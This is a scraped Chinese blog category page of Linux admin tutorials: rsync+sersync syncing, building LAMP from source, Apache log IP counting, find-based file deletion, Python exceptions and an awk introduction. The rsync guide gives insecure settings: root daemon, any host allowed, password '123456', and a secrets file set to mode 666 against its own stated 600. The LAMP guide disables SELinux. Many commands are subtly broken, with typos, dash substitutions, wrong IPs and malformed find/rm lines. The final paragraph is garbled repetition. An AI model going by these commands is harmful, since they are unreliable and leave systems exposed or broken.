分类 Shell 下的文章

Linux下rsync+sersync实现实时同步数据

rsync+sersync做实时同步时,用于推送文件的服务器运行sersync服务,用于接受文件的服务器则运行rsync守护进程

sersync会利用rsync命令将文件推送到rsync服务器, sersync坐位住服务器,rsync坐位景象u服务器,实现数据同步备份,web镜像等功能
rsync   服务器IP:192.168.1.137
sersync服务器IP:192,168.1.138
使用sersync之前,必须先配置好rsync服务器
配置rsync 接收端
1. 安装rsync
yum install rsync -y
yum install xinetd -y
2. 启动rsync依赖服务并加入到开机启动项
service xinetd start
chkconfig xinetd on
3.配置:
uid = root
gid = root
use chroot = no
max connections = 10
strict modes = yes
port = 873
address = 192.168.1.137
[data] # rsync模块名,后面配置sersync会用到
path = /data  # 该同步目录只要uid所指定的用户有写权限即可
comment = mirror for leonis
ignore errors
read only = on
list = no
auth users = user
secrets file = /etc/rsync.pas # 密码认证文件,必须为600权限,否则rsync传输会报错
host allow = *
#host deny = 0.0.0.0/0
pid file = /var/run/rsync.pid
lock file = /var/run/rsync.lock
log file = /var/log/rsync.log
4.创建同步目录
mkdir /data
5.配置认证文件
echo “user:123456” > /etc/rsync.pas
chmod 666 /etc/rsync.pas
rsync –daemon –config=/etc/rsyncd.conf
6.重启xinetd使其配置生肖
service xinetd restart
7.设置开机启动
echo ”rsync —daemon —config=/etc/rsyncd.conf” >>/etc/rc.local
配置sersync 推送端
安装rsync
vi /etc/xinetd.d/rsync #编辑配置文件,设置开机启动rsync
disable = no #修改为no
创建认证密码文件
touch /etc/rsync.pas
echi “123456” >> /etc/rsync.pas
chomod 600 /etc/rsync.pas
mkdir /data/leonis  #在源服务器上创建测试文件夹,然后在源服务器运行下面2行命令
rsync -avH –port=873 –progress –delete/data/root@192.168.21.127::data –password-file=/etc/rsync.pas
运行完成后,查看接收端服务器,192,168.1.137, 如果在data目录下leonis文件夹存在,说明数据同步正常
安装sersync工具,实时触发rsync进行同步
1.下载sersync源码包
2.创建sersync目录结构
mkdir /usr/local/sersync
mkdir /usr/local/sersync/conf
mkdir /usr/local/sersync/bin
mkdir /usr/local/sersync/log
tar zxvf sersync2.5_64bit_binary_stable_final.tar.gz
cd GNU-Linux-x64
cp confxml.xml /usr/local/sersync/conf
cp sersync2 /usr/local/sersync/bin
3.配置confxml.xml

# cd /usr/local/sersync/conf

# vi confxml.xml

按照注释进行修改

—————————–

<?xml version=”1.0″ encoding=”ISO-8859-1″?>

<head version=”2.5″>

# 设置本地IP和端口

<host hostip=”localhost” port=”8008″></host>

# 开启DUBUG模式

<debug start=”false”/>

# 开启xfs文件系统

<fileSystem xfs=”false”/>

# 同步时忽略推送的文件(正则表达式),默认关闭

<filter start=”false”>

<exclude expression=”(.*)\.svn”></exclude>

<exclude expression=”(.*)\.gz”></exclude>

<exclude expression=”^info/*”></exclude>

<exclude expression=”^static/*”></exclude>

</filter>

<inotify>

# 设置要监控的事件

<delete start=”true”/>

<createFolder start=”true”/>

<createFile start=”true”/>

<closeWrite start=”true”/>

<moveFrom start=”true”/>

<moveTo start=”true”/>

<attrib start=”true”/>

<modify start=”true”/>

</inotify>

<sersync>

# 本地同步的目录路径

<localpath watch=”/data”>

# 远程IP和rsync模块名

<remote ip=”192.168.100.29″ name=”data”/>

<!–<remote ip=”192.168.8.39″ name=”tongbu”/>–>

<!–<remote ip=”192.168.8.40″ name=”tongbu”/>–>

</localpath>

<rsync>

# rsync指令参数

<commonParams params=”-auvzP”/>

# rsync同步认证

<auth start=”true” users=”user” passwordfile=”/etc/rsync.pas”/>

# 设置rsync远程服务端口,远程非默认端口则需打开自定义

<userDefinedPort start=”false” port=”874″/><!– port=874 –>

# 设置超时时间

<timeout start=”true” time=”100″/><!– timeout=100 –>

# 设置rsync+ssh加密传输模式,默认关闭,开启需设置SSH加密证书

<ssh start=”false”/>

</rsync>

# sersync传输失败日志脚本路径,每隔60会重新执行该脚本,执行完毕会自动清空。

<failLog path=”/usr/local/sersync/log/rsync_fail_log.sh” timeToExecute=”60″/><!–default every 60mins execute once–>

# 设置rsync+crontab定时传输,默认关闭

<crontab start=”false” schedule=”600″><!–600mins–>

<crontabfilter start=”false”>

<exclude expression=”*.php”></exclude>

<exclude expression=”info/*”></exclude>

</crontabfilter>

</crontab>

# 设置sersync传输后调用name指定的插件脚本,默认关闭

<plugin start=”false” name=”command”/>

</sersync>

# 插件脚本范例

<plugin name=”command”>

<param prefix=”/bin/sh” suffix=”” ignoreError=”true”/>  <!–prefix /opt/tongbu/mmm.sh suffix–>

<filter start=”false”>

<include expression=”(.*)\.php”/>

<include expression=”(.*)\.sh”/>

</filter>

</plugin>

# 插件脚本范例

<plugin name=”socket”>

<localpath watch=”/opt/tongbu”>

<deshost ip=”192.168.138.20″ port=”8009″/>

</localpath>

</plugin>

<plugin name=”refreshCDN”>

<localpath watch=”/data0/htdocs/cms.xoyo.com/site/”>

<cdninfo domainname=”ccms.chinacache.com” port=”80″ username=”xxxx” passwd=”xxxx”/>

<sendurl base=”http://pic.xoyo.com/cms”/>

<regexurl regex=”false” match=”cms.xoyo.com/site([/a-zA-Z0-9]*).xoyo.com/images”/>

</localpath>

</plugin>

</head>

4.创建推送端sersync同步目录
# mkdir /data
5.设置环境变量:

# echo “export PATH=$PATH:/usr/local/sersync/bin/” >> /etc/profile

# source /etc/profile

6.启动sersync

# sersync2 -r -d -o /usr/local/sersync/conf/confxml.xml

注:重启操作如下:

# killall sersync2 && sersync2 -r -d -o /usr/local/sersync/conf/confxml.xml

7.设置开机启动

# echo “sersync2 -r -d -o /usr/local/sersync/conf/confxml.xml” >> /etc/rc.local

[LAMP] CentOS 源码编译安装LAMP(Apache MySQL PHP)

源码编译安装LAMP虽然过程繁琐,但可以根据自己PHP程序的需要配置相应的环境,非常的灵活。对于比较急于配置好LAMP的同学,可以使用lamp一键安装。
卸载yum或rpm安装的amp软件
在编译安装lamp之前,首先先卸载已存在的rpm包吧。

rpm -e httpd
rpm -e mysql
rpm -e php
yum -y remove httpd
yum -y remove php
yum -y remove mysql-server mysql
yum -y remove php-mysql

禁用SeLinux
selinux可能会致使编译安装失败,我们先禁用它。

sed -i 's/SELINUX=enforcing/SELINUX=disabled/g' /etc/selinux/config //永久禁用,需要重启生效
setenforce 0 //临时禁用,不需要重启

yum安装必要工具
1、安装编译工具gcc gcc-c++make automake autoconf kernel-devel
2、安装PHP所需依赖,如libxml2-devel openssl-devel curl-devel libjpeg-devel libpng-devel等

yum -y install gcc gcc-c++  make automake autoconf kernel-devel ncurses-devel libxml2-devel openssl-devel curl-devel libjpeg-devel libpng-devel  pcre-devel libtool-libs freetype-devel gd zlib-devel file bison patch mlocate flex diffutils   readline-devel glibc-devel glib2-devel bzip2-devel gettext-devel libcap-devel libmcrypt-devel

下载所需源码

apache:http://httpd.apache.org/
mysql:http://mysql.com/downloads/mysql/
php:http://php.net/downloads.php
phpmyadmin:http://www.phpmyadmin.net/home_page/downloads.php

我们这里选择的版本为:apache-2.2.22,mysql-5.1.62,php-5.2.17,phpmyadmin-3.4.10.2

cd /tmp
wget -c http://apache.ziply.com//httpd/httpd-2.2.22.tar.gz
wget -c http://dev.mysql.com/get/Downloads/MySQL-5.1/mysql-5.1.64.tar.gz/from/http://mysql.he.net/
wget -c http://us2.php.net/get/php-5.2.17.tar.gz/from/am.php.net/mirror
wget -c http://iweb.dl.sourceforge.net/project/phpmyadmin/phpMyAdmin/3.4.10.2/phpMyAdmin-3.4.10.2-all-languages.tar.gz
tar xzf httpd-2.2.22.tar.gz
tar xzf mysql-5.1.62.tar.gz
tar xzf php-5.2.17.tar.gz
tar xzf phpMyAdmin-3.4.10.2-all-languages.tar.gz

安装apache2.2.22

cd /tmp/httpd-2.2.22
./configure --prefix=/usr/local/apache --with-included-apr --enable-so --enable-deflate=shared --enable-expires=shared  --enable-headers=shared --enable-rewrite=shared --enable-static-support
make
make install

编译参数解释:
–prefix=/usr/local/apache:指定安装目录
–with-included-apr:在编译时强制使用当前源代码中绑定的APR版本
–enable-so:允许运行时加载DSO模块
–enable-deflate=shared:将deflate模块编译为DSO
–enable-expires=shared:将expires模块编译为DSO
–enable-headers=shared:将headers模块编译为DSO
–enable-rewrite=shared:将rewrite模块编译为DSO
–enable-static-support:使用静态连接(默认为动态连接)编译所有二进制支持程序
更详细的编译参数解释:http://lamp.linux.gov.cn/Apache/ApacheMenu/programs/configure.html

cp build/rpm/httpd.init /etc/init.d/httpd //使用init脚本管理httpd
chmod 755 /etc/init.d/httpd //增加执行权限
chkconfig --add httpd  //添加httpd到服务项
chkconfig  httpd on   //设置开机启动
ln -fs /usr/local/apache/ /etc/httpd
ln -fs /usr/local/apache/bin/httpd /usr/sbin/httpd
ln -fs /usr/local/apache/bin/apachectl /usr/sbin/apachectl
ln -fs /usr/local/apache/logs /var/log/httpd //设置软链接以适应init脚本

安装mysql5.1.62

groupadd mysql
useradd -g mysql mysql
cd /tmp/mysql-5.1.62
./configure --prefix=/usr/local/mysql/ --localstatedir=/usr/local/mysql/data --without-debug --with-unix-socket-path=/tmp/mysql.sock --with-client-ldflags=-all-static --with-mysqld-ldflags=-all-static --enable-assembler --with-extra-charsets=gbk,gb2312,utf8 --with-pthread
make
make install

编译参数解释:
–prefix=/usr/local/mysql/:指定安装位置
–localstatedir=/usr/local/mysql/data:指定数据库文件位置
–without-debug:禁用调用模式
–with-unix-socket-path=/tmp/mysql.sock:指定sock文件位置
–with-client-ldflags=-all-static:
–with-mysqld-ldflags=-all-static:以纯静态方式编译服务端和客户端
–enable-assembler:使用一些字符函数的汇编版本
–with-extra-charsets=gbk,gb2312,utf8 :gbk,gb2312,utf8字符支持
–with-pthread:强制使用pthread库(posix线程库)
更多编译参数请执行./configure –help命令查看。

cp support-files/my-medium.cnf /etc/my.cnf //复制配置文件夹my.cnf
/usr/local/mysql/bin/mysql_install_db --user=mysql  //初始化数据库
chown -R root.mysql /usr/local/mysql
chown -R mysql /usr/local/mysql/data 
cp /tmp/mysql-5.1.62/support-files/mysql.server /etc/rc.d/init.d/mysqld  //init启动脚本
chown root.root /etc/rc.d/init.d/mysqld 
chmod 755 /etc/rc.d/init.d/mysqld
chkconfig --add mysqld
chkconfig  mysqld on
ln -s /usr/local/mysql/bin/mysql /usr/bin
ln -s /usr/local/mysql/bin/mysqladmin /usr/bin
service mysqld start
/usr/local/mysql/bin/mysqladmin -u root password '新密码'   //设置root密码

安装PHP5.2.17
在编译php之前,先要解决两个问题:centos 6上libmcrypt的安装和可能有些系统找不到libiconv导致的错误。
1、centos 6官方源已经没有libmcrypt的rpm包,我们这里选择编译安装,当然你也可以导入第三方源安装(centos 5略过此步)。
下载源码:

cd /tmp
wget http://superb-dca2.dl.sourceforge.net/project/mcrypt/Libmcrypt/2.5.8/libmcrypt-2.5.8.tar.gz
wget http://superb-dca2.dl.sourceforge.net/project/mhash/mhash/0.9.9.9/mhash-0.9.9.9.tar.gz
wget http://superb-sea2.dl.sourceforge.net/project/mcrypt/MCrypt/2.6.8/mcrypt-2.6.8.tar.gz
tar xzf libmcrypt-2.5.8.tar.gz
tar xzf mhash-0.9.9.9.tar.gz
tar xzf mcrypt-2.6.8.tar.gz
//安装libmcrypt
cd /tmp/libmcrypt-2.5.8
./configure --prefix=/usr
make && make install
//安装libmcrypt
cd /tmp/mhash-0.9.9.9
./configure --prefix=/usr
make && make install
//安装mcrypt
/sbin/ldconfig //搜索出可共享的动态链接库
cd /tmp/mcrypt-2.6.8
./configure
make && make install
2、解决可能出现的libiconv错误。
cd /tmp
wget http://ftp.gnu.org/pub/gnu/libiconv/libiconv-1.14.tar.gz
tar xzf libiconv-1.14.tar.gz
cd libiconv-1.14
./configure --prefix=/usr/local/libiconv
make && make install
开始安装php-5.2.17:
cd /tmp/php-5.2.17
./configure --prefix=/usr/local/php --with-apxs2=/usr/local/apache/bin/apxs --with-config-file-path=/etc --with-config-file-scan-dir=/etc/php.d --with-openssl --with-zlib --enable-bcmath --with-bz2 --with-curl --enable-ftp --with-gd --enable-gd-native-ttf --with-gettext --with-mhash --enable-mbstring --with-mcrypt --enable-soap --enable-zip --with-iconv=/usr/local/libiconv --with-mysql=/usr/local/mysql --without-pear
make
make install
编译参数解释:
--prefix=/usr/local/php:设置安装路径
--with-apxs2=/usr/local/apache/bin/apxs:编译共享的 Apache 2.0 模块
--with-config-file-path=/etc:指定配置文件php.ini地址
--with-config-file-scan-dir=/etc/php.d:指定额外的ini文件目录
--with-openssl:编译OpenSSL支持
--with-zlib:编译zlib支持
--enable-bcmath:启用BC风格精度数学函数
--with-bz2:BZip2支持
--with-curl:CRUL支持
--enable-ftp:FTP支持
--with-gd:GD支持
--enable-gd-native-ttf:启用TrueType字符串函数
--with-gettext:启用GNU gettext支持
--with-mhash:mhash支持
--enable-mbstring:启用支持多字节字符串
--with-mcrypt:编译mcrypt加密支持
--enable-soap:SOAP支持
--enable-zip:启用zip 读/写支持
--with-iconv=/usr/local/libiconv:iconv支持
--with-mysql=/usr/local/mysql:启用mysql支持
--without-pear:不安装PEAR

更多编译参数解释参考http://www.php.net/manual/zh/configure.about.php或者./configure –help查看。

cp php.ini-dist /usr/local/php/etc/php.ini //复制配置文件php.ini
在/etc/httpd/conf/httpd.conf文件中加入php文件类型解析:
Addtype application/x-httpd-php .php

重启httpd:

service httpd restart

转自:https://www.centos.bz

[Apache]访问日志IP统计

这两个服务器apache error日志暴涨~~~,检查了下日志,封了几个IP

日志内容如图~~~

 

QQ20141206-1

cat ip-error.log |awk -F " " '{print $8}'|sed 's/]//g'|sort|uniq -c|sort -rn

首先用awk 过滤出IP. 以空格位分隔符,打印第八个域,然后用sed 把多余出来的]替换,再排序统计,最后输出到一个文件

得到如图锁所示IP,然后检查量比较大的IP,封了有问题的就OK

iptables -I INPUT -s ip -j DROP

 

QQ20141206-2.

Linux 删除指定日期之前的文件

要删除系统中就的备份文件,就需要使用命令了:

#find /tmp -mtime +30 -type f -name *.sh[ab] -exec rm -f {} ;

 

假如在一个目录中保留最近30天的文件,30天前的文件自动删除

#find /tmp -mtime +30 -type f -name *.sh[ab] -exec rm -f {} ;

 

/tmp –设置查找的目录;

-mtime +30 –设置时间为30天前;

-type f –设置查找的类型为文件;

-name *.sh[ab] –设置文件名称中包含sha或者shb;

-exec rm -f –查找完毕后执行删除操作;

提示:将此命令写入crontab后即可自动完成查找并删除的工作

另外的方法大同小异

#find . -mtime +30 -type f | xargs rm -rf

 

我的操作是:先ls -ltr 查看时间,没有太久的所以就用 -cmin n查找系统中最后N分钟被改变文件状态的文件。具体命令:

$ find /home/oracle/test6 -cmin +20 -type f -name *.xml -exec rm -f { } ;

 

另外的方法大同小异

#find . -mtime +30 -type f | xargs rm -rf

$find . -type f -cmin +10 -exec rm -rf *.xml {} ;

find . type f -name "debug*" -atime +3 -exec rm -f {} ;

 

首先cd进入目录:

find . -name "*~" -exec rm {} ;

find . -ctime +n -exec -exec rm -vi {} ;

 

这里的+n是指多少天以前,比如:+7

find . -ctime +7 -exec -exec rm -vi {} ;

 

如果不想手动确认,把命令中的-vi改成-fv

请详查find命令。

使用find时要区分清楚atime,ctime,mtime的区别,一般都使用mtime来查找,因为在ls -al显示出来的就是mtime时间戳,可以使用:

# find $PAHT -mtime +3 -ok rm {} ;

 

在交互模式下删除比较保险。

一、按照一定日期格式命名文件

1、按照一定的格式输出日期:

date +”%y%m%d”

格式说明:

% : 印出 %

%n : 下一行

%t : 跳格

%H : 小时(00-23)

%I : 小时(01-12)

%k : 小时(0-23)

%l : 小时(1-12)

%M : 分钟(00-59)

%p : 显示本地 AM 或 PM

%r : 直接显示时间 (12 小时制,格式为 hh:mm:ss [AP]M)

%s : 从 1970 年 1 月 1 日 00:00:00 UTC 到目前为止的秒数

%S : 秒(00-60)

%T : 直接显示时间 (24 小时制)

%X : 相当于 %H:%M:%S

%Z : 显示时区

日期方面 :

%a : 星期几 (Sun-Sat)

%A : 星期几 (Sunday-Saturday)

%b : 月份 (Jan-Dec)

%B : 月份 (January-December)

%c : 直接显示日期与时间

%d : 日 (01-31)

%D : 直接显示日期 (mm/dd/yy)

%h : 同 %b

%j : 一年中的第几天 (001-366)

%m : 月份 (01-12)

%U : 一年中的第几周 (00-53) (以 Sunday 为一周的第一天的情形)

%w : 一周中的第几天 (0-6)

%W : 一年中的第几周 (00-53) (以 Monday 为一周的第一天的情形)

%x : 直接显示日期 (mm/dd/yy)

%y : 年份的最后两位数字 (00.99)

%Y : 完整年份 (0000-9999)

2、命名带有日期的文件:filename`date +%y%m%d`,此处的”`”不是单引号。

二、以创建文件日期为界线删除文件

1、find命令简解

find pathname -options [-print -exec -ok …]

 

pathname: find命令所查找的目录路径。例如用。来表示当前目录,用/来表示系统根目录。

-print: find命令将匹配的文件输出到标准输出。

-exec: find命令对匹配的文件执行该参数所给出的shell命令。相应命令的形式为’command’ { } ;,注意{ }和;之间的空格。

-ok: 和-exec的作用相同,只不过以一种更为安全的模式来执行该参数所给出的shell命令,在执行每一个命令之前,都会给出提示,让用户来确定是否执行。

options:

-name

按照文件名查找文件。

-perm

按照文件权限来查找文件。

-prune

使用这一选项可以使find命令不在当前指定的目录中查找,如果同时使用-depth选项,那么-prune将被find命令忽略。

-user

按照文件属主来查找文件。

-group

按照文件所属的组来查找文件。

-mtime -n +n

按照文件的更改时间来查找文件, – n表示文件更改时间距现在n天以内,+ n表示文件更改时间距现在n天以前。find命令还有-atime和-ctime 选项,但它们都和-m time选项。

-nogroup

查找无有效所属组的文件,即该文件所属的组在/etc/groups中不存在。

-nouser

查找无有效属主的文件,即该文件的属主在/etc/passwd中不存在。

-newer file1 ! file2

查找更改时间比文件file1新但比文件file2旧的文件。

-type

查找某一类型的文件,诸如:

b – 块设备文件。

d – 目录。

c – 字符设备文件。

p – 管道文件。

l – 符号链接文件。

f – 普通文件。

-size n:[c] 查找文件长度为n块的文件,带有c时表示文件长度以字节计。

-depth:在查找文件时,首先查找当前目录中的文件,然后再在其子目录中查找。

-fstype:查找位于某一类型文件系统中的文件,这些文件系统类型通常可以在配置文件/etc/fstab中找到,该配置文件中包含了本系统中有关文件系统的信息。

-mount:在查找文件时不跨越文件系统mount点。

-follow:如果find命令遇到符号链接文件,就跟踪至链接所指向的文件。

-cpio:对匹配的文件使用cpio命令,将这些文件备份到磁带设备中。

对于时间相关的参数,有以下补充:

-amin n

查找系统中最后N分钟访问的文件

-atime n

查找系统中最后n*24小时访问的文件

-cmin n

查找系统中最后N分钟被改变文件状态的文件

-ctime n

查找系统中最后n*24小时被改变文件状态的文件

-mmin n

查找系统中最后N分钟被改变文件数据的文件

-mtime n

查找系统中最后n*24小时被改变文件数据的文件

2、删除固定日期以前的文件

find logs -type f -mtime +5 -exec rm { } ;

 

Python 错误和异常小结

1.Python异常类

Python是面向对象语言,所以程序抛出的异常也是类。常见的Python异常有以下几个,大家只要大致扫一眼,有个映像,等到编程的时候,相信大家肯定会不只一次跟他们照面(除非你不用Python了)。

异常 描述
NameError 尝试访问一个没有申明的变量
ZeroDivisionError 除数为0
SyntaxError 语法错误
IndexError 索引超出序列范围
KeyError 请求一个不存在的字典关键字
IOError 输入输出错误(比如你要读的文件不存在)
AttributeError 尝试访问未知的对象属性
ValueError 传给函数的参数类型不正确,比如给int()函数传入字符串形

 

2.捕获异常

Python完整的捕获异常的语句有点像:

 

try:
    try_suite
except Exception1,Exception2,...,Argument:
    exception_suite
......   #other exception block
else:
    no_exceptions_detected_suite
finally:
    always_execute_suite

额…是不是很复杂?当然,当我们要捕获异常的时候,并不是必须要按照上面那种格式完全写下来,我们可以丢掉else语句,或者finally语句;甚至不要exception语句,而保留finally语句。额,晕了?好吧,下面,我们就来一一说明啦。

 

2.1.try…except…语句

try_suite不消我说大家也知道,是我们需要进行捕获异常的代码。而except语句是关键,我们try捕获了代码段try_suite里的异常后,将交给except来处理。

try…except语句最简单的形式如下:

try:
    try_suite
except:
    exception block

上面except子句不跟任何异常和异常参数,所以无论try捕获了任何异常,都将交给except子句的exception block来处理。如果我们要处理特定的异常,比如说,我们只想处理除零异常,如果其他异常出现,就让其抛出不做处理,该怎么办呢?这个时候,我们就要给except子句传入异常参数啦!那个ExceptionN就是我们要给except子句的异常类(请参考异常类那个表格),表示如果捕获到这类异常,就交给这个except子句来处理。比如:

 

 

try:
    try_suite
except Exception:
    exception block

举个例子:

 

 

>>> try:
...     res = 2/0
... except ZeroDivisionError:
...     print "Error:Divisor must not be zero!"
... 
Error:Divisor must not be zero!

 

看,我们真的捕获到了ZeroDivisionError异常!那如果我想捕获并处理多个异常怎么办呢?有两种办法,一种是给一个except子句传入多个异常类参数,另外一种是写多个except子句,每个子句都传入你想要处理的异常类参数。甚至,这两种用法可以混搭呢!下面我就来举个例子。

 

try:
    floatnum = float(raw_input("Please input a float:"))
    intnum = int(floatnum)
    print 100/intnum
except ZeroDivisionError:
    print "Error:you must input a float num which is large or equal then 1!"
except ValueError:
    print "Error:you must input a float num!"

[root@Cherish tmp]# python test.py 
Please input a float:fjia
Error:you must input a float num!
[root@Cherish tmp]# python test.py 
Please input a float:0.9999
Error:you must input a float num which is large or equal then 1!
[root@Cherish tmp]# python test.py 
Please input a float:25.091
4

上面的例子大家一看都懂,就不再解释了。只要大家明白,我们的except可以处理一种异常,多种异常,甚至所有异常就可以了。

 

大家可能注意到了,我们还没解释except子句后面那个Argument是什么东西?别着急,听我一一道来。这个Argument其实是一个异常类的实例(别告诉我你不知到什么是实例),包含了来自异常代码的诊断信息。也就是说,如果你捕获了一个异常,你就可以通过这个异常类的实例来获取更多的关于这个异常的信息。例如:

 

>>> try:
...     1/0
... except ZeroDivisionError,reason:
...     pass
... 
>>> type(reason)
<type 'exceptions.ZeroDivisionError'>
>>> print reason
integer division or modulo by zero
>>> reason
ZeroDivisionError('integer division or modulo by zero',)
>>> reason.__class__
<type 'exceptions.ZeroDivisionError'>
>>> reason.__class__.__doc__
'Second argument to a division or modulo operation was zero.'
>>> reason.__class__.__name__
'ZeroDivisionError'

上面这个例子,我们捕获了除零异常,但是什么都没做。那个reason就是异常类ZeroDivisionError的实例,通过type就可以看出。

 

2.2try … except…else语句

现在我们来说说这个else语句。Python中有很多特殊的else用法,比如用于条件和循环。放到try语句中,其作用其实也差不多:就是当没有检测到异常的时候,则执行else语句。举个例子大家可能更明白些:

 

>>> import syslog
>>> try:
...     f = open("/root/test.py")
... except IOError,e:
...     syslog.syslog(syslog.LOG_ERR,"%s"%e)
... else:
...     syslog.syslog(syslog.LOG_INFO,"no exception caughtn")
... 
>>> f.close()

 

2.3 finally子句

finally子句是无论是否检测到异常,都会执行的一段代码。我们可以丢掉except子句和else子句,单独使用try…finally,也可以配合except等使用。

例如2.2的例子,如果出现其他异常,无法捕获,程序异常退出,那么文件 f 就没有被正常关闭。这不是我们所希望看到的结果,但是如果我们把f.close语句放到finally语句中,无论是否有异常,都会正常关闭这个文件,岂不是很 妙

 

>>> import syslog
>>> try:
...     f = open("/root/test.py")
... except IOError,e:
...     syslog.syslog(syslog.LOG_ERR,"%s"%e)
... else:
...     syslog.syslog(syslog.LOG_INFO,"no exception caughtn")
... finally: 
>>>     f.close()

大家看到了没,我们上面那个例子竟然用到了try,except,else,finally这四个子句!:-),是不是很有趣?到现在,你就基本上已经学会了如何在Python中捕获常规异常并处理之。

 

3.两个特殊的处理异常的简便方法

3.1断言(assert)

什么是断言,先看语法:

 

assert expression[,reason]

 

其中assert是断言的关键字。执行该语句的时候,先判断表达式expression,如果表达式为真,则什么都不做;如果表达式不为真,则抛出异常。reason跟我们之前谈到的异常类的实例一样。不懂?没关系,举例子!最实在!

 

>>> assert len('love') == len('like')
>>> assert 1==1
>>> assert 1==2,"1 is not equal 2!"
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
AssertionError: 1 is not equal 2!

我们可以看到,如果assert后面的表达式为真,则什么都不做,如果不为真,就会抛出AssertionErro异常,而且我们传进去的字符串会作为异常类的实例的具体信息存在。其实,assert异常也可以被try块捕获:

 

 

>>> try:
...     assert 1 == 2 , "1 is not equal 2!"
... except AssertionError,reason:
...     print "%s:%s"%(reason.__class__.__name__,reason)
... 
AssertionError:1 is not equal 2!
>>> type(reason)
<type 'exceptions.AssertionError'>

 

3.2.上下文管理(with语句)

如果你使用try,except,finally代码仅仅是为了保证共享资源(如文件,数据)的唯一分配,并在任务结束后释放它,那么你就有福了!这个with语句可以让你从try,except,finally中解放出来!语法如下:

 

with context_expr [as var]:
    with_suite

是不是不明白?很正常,举个例子来!

 

>>> with open('/root/test.py') as f:
...     for line in f:
...         print line

上面这几行代码干了什么?

(1)打开文件/root/test.py

(2)将文件对象赋值给  f

(3)将文件所有行输出

(4)无论代码中是否出现异常,Python都会为我们关闭这个文件,我们不需要关心这些细节。

这下,是不是明白了,使用with语句来使用这些共享资源,我们不用担心会因为某种原因而没有释放他。但并不是所有的对象都可以使用with语句,只有支持上下文管理协议(context management protocol)的对象才可以,那哪些对象支持该协议呢?如下表:

file

decimal.Context

thread.LockType

threading.Lock

threading.RLock

threading.Condition

threading.Semaphore

threading.BoundedSemaphore

至于什么是上下文管理协议,如果你不只关心怎么用with,以及哪些对象可以使用with,那么我们就不比太关心这个问题:)

4.抛出异常(raise)

如果我们想要在自己编写的程序中主动抛出异常,该怎么办呢?raise语句可以帮助我们达到目的。其基本语法如下:

 

raise [SomeException [, args [,traceback]]

第一个参数,SomeException必须是一个异常类,或异常类的实例

 

第二个参数是传递给SomeException的参数,必须是一个元组。这个参数用来传递关于这个异常的有用信息。

第三个参数traceback很少用,主要是用来提供一个跟中记录对象(traceback)

下面我们就来举几个例子。

 

>>> raise NameError
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
NameError
>>> raise NameError()  #异常类的实例
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
NameError
>>> raise NameError,("There is a name error","in test.py")
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
>>> raise NameError("There is a name error","in test.py")  #注意跟上面一个例子的区别
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
NameError: ('There is a name error', 'in test.py')
>>> raise NameError,NameError("There is a name error","in test.py")  #注意跟上面一个例子的区别
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
NameError: ('There is a name error', 'in test.py')

其实,我们最常用的还是,只传入第一个参数用来指出异常类型,最多再传入一个元组,用来给出说明信息。如上面第三个例子。

 

5.异常和sys模块

另一种获取异常信息的途径是通过sys模块中的exc_info()函数。该函数回返回一个三元组:(异常类,异常类的实例,跟中记录对象)

 

>>> try:
...     1/0
... except:
...     import sys
...     tuple = sys.exc_info()
... 
>>> print tuple
(<type 'exceptions.ZeroDivisionError'>, ZeroDivisionError('integer division or modulo by zero',), <traceback object at 0x7f538a318b48>)
>>> for i in tuple:
...     print i
... 
<type 'exceptions.ZeroDivisionError'> #异常类    
integer division or modulo by zero #异常类的实例
<traceback object at 0x7f538a318b48> #跟踪记录对象

详解著名的awk oneliner

Awk onel iner 文档 版权归原作者及译者所有,仅供阅读,交流!

详解著名的awk oneliner

Part 1:空行、行号和计算
偶然在网上看到有人注释过的《awk oneliner》,而且注释的人声称“全部弄懂这 些就已经是awk高手了”,而我也一直想学下awk又懒得花时间,然后就觉得这个东 西一定很适合我。为了督促自己看完这个系列,决定整个给翻译一遍。说实话看了 第一篇之后觉得awk的语句也不是那么天书了。原作者是Peteris Krumins,一个很 酷的家伙,你可以在titter上follow他(Peteris Krumins)。
原文请见:http://www.catonmat.net/blog/awk-one-liners-explained-part-one/
将每行后面都添加一个空行
awk ‘1; { print “” }’
这是怎么意思呢?一个单行awk命令,其实也是一个用awk语言写的程序,每个awk程序,都是由一系列的“匹配模式 { 执行动作 }”语句所组成的。在这个例子里面,有两个语句,“1”和“{print ””}”。在每个“匹配模式——执行动作”语句中,模式和动作都是可以被省略的。如果匹配模式被省略,那么预定的动作将会对输入文件的每一行执行。如果动 作被省略,那么就默认会执行{print }。所以,这个单行awk语句等同于下面的语句
awk ‘1 {print } {print “”}’
动作只有在匹配模式的值为真的时候才会执行。因为“1”永远为真,所以,这个例子也可以写成下面的形式
awk ‘{print } {print “”}’
awk中每条print语句后都默认会输出一个ORS变量(Output Record Separator,即输出行分隔符,默认为换行符)。第一个不带参数的print语句,等同于print $0,其中$0是代表整行内容的变量。第二个print语句什么也不输出,但是鉴
接触 shell 已经 4个月左右了,虽然工作中用到的不多但没事时候也跟着大鸟后 个月左右了,虽然工作中用到的不多但没事时候也跟着大鸟后 个月左右了,虽然工作中用到的不多但没事时候也跟着大鸟后 个月左右了,虽然工作中用到的不多但没事时候也跟着大鸟后 个月左右了,虽然工作中用到的不多但没事时候也跟着大鸟后 个月左右了,虽然工作中用到的不多但没事时候也跟着大鸟后 个月左右了,虽然工作中用到的不多但没事时候也跟着大鸟后 个月左右了,虽然工作中用到的不多但没事时候也跟着大鸟后 个月左右了,虽然工作中用到的不多但没事时候也跟着大鸟后 个月左右了,虽然工作中用到的不多但没事时候也跟着大鸟后 个月左右了,虽然工作中用到的不多但没事时候也跟着大鸟后 个月左右了,虽然工作中用到的不多但没事时候也跟着大鸟后 个月左右了,虽然工作中用到的不多但没事时候也跟着大鸟后 个月左右了,虽然工作中用到的不多但没事时候也跟着大鸟后 个月左右了,虽然工作中用到的不多但没事时候也跟着大鸟后 面混着,倒腾几下 面混着,倒腾几下 面混着,倒腾几下 面混着,倒腾几下 面混着,倒腾几下 ,自娱乐 ,自娱乐 ,自娱乐 一把 。前几日看见网上有个不错的 前几日看见网上有个不错的 前几日看见网上有个不错的 前几日看见网上有个不错的 前几日看见网上有个不错的 前几日看见网上有个不错的 awk 教程,叫做 教程,叫做 教程,叫做 awk awk oneliner ,觉得很棒 ,拿来分享一下。菜鸟可以看老就飘过吧 ~
